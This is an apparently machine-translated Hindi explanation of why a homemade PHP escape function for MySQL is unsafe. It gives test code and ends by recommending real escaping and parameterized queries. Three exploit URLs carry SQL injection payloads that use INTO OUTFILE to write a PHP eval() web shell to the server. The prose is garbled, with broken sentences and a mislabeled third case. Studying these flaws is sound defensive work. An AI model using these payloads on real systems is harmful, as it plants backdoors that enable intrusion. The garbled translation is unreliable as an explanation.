अगर आप सिर्फ . हैं '
. की जगह ''
. के साथ तो आप \'
. का इंजेक्शन लगाकर इसका फायदा उठा सकते हैं जो एक \''
. में बदल जाएगा और यह आपको बाहर निकलने की अनुमति देगा क्योंकि यह आपको "वर्ण शाब्दिक" एकल-उद्धरण और वास्तविक एकल-उद्धरण देता है। हालांकि, "\\"
. का प्रतिस्थापन "\\\\"
. के साथ इस हमले को नकारता है। डबल-सिंगल-कोट का उपयोग एमएस-एसक्यूएल के सिंगल कोट्स से "एस्केप" करने के लिए किया जाता है, लेकिन यह MySQL के लिए उचित नहीं है, लेकिन यह काम कर सकता है।
निम्नलिखित कोड साबित करते हैं कि यह एस्केप फ़ंक्शन तीन स्थितियों . को छोड़कर सभी के लिए सुरक्षित है . हालांकि यह कोड नियंत्रण चार्टर के सभी संभावित रूपों को अनुमति देता है, और यह सुनिश्चित करने के लिए प्रत्येक का परीक्षण करता है कि एक एकल उद्धरण संलग्न चयन कथन के साथ कोई त्रुटि नहीं होती है। इस कोड का परीक्षण MySQL 5.1.41 पर किया गया था।
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
असुरक्षित स्थिति 1:किसी उद्धरण चिह्न का उपयोग नहीं किया गया।
mysql_query("select username from users where id=".escape($_GET['id']));
शोषण:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
असुरक्षित स्थिति 2:उपयोग किए गए दोहरे उद्धरण चिह्न
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
शोषण:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
असुरक्षित स्थिति 2:सिंगल कोट्स का उपयोग किया जाता है, हालांकि एक वैकल्पिक वर्ण सेट का उपयोग किया जाता है। .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
शोषण:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
निष्कर्ष हमेशा mysql_real_escape_string()
. का उपयोग करना है MySQL के लिए एस्केप रूटीन के रूप में। पैरामीटरयुक्त क्वेरी लाइब्रेरी जैसे pdo और adodb हमेशा mysql_real_escape_string()
का उपयोग करते हैं एक mysql डेटाबेस से कनेक्ट होने पर। addslashes()
बहुत बेहतर है भागने की दिनचर्या क्योंकि यह कमजोर स्थिति का ख्याल रखती है 2. यह ध्यान दिया जाना चाहिए कि यहां तक कि mysql_real_escape_string()
भी नहीं शर्त 1 को रोक देगा, हालांकि एक पैरामीटरयुक्त क्वेरी लाइब्रेरी होगी।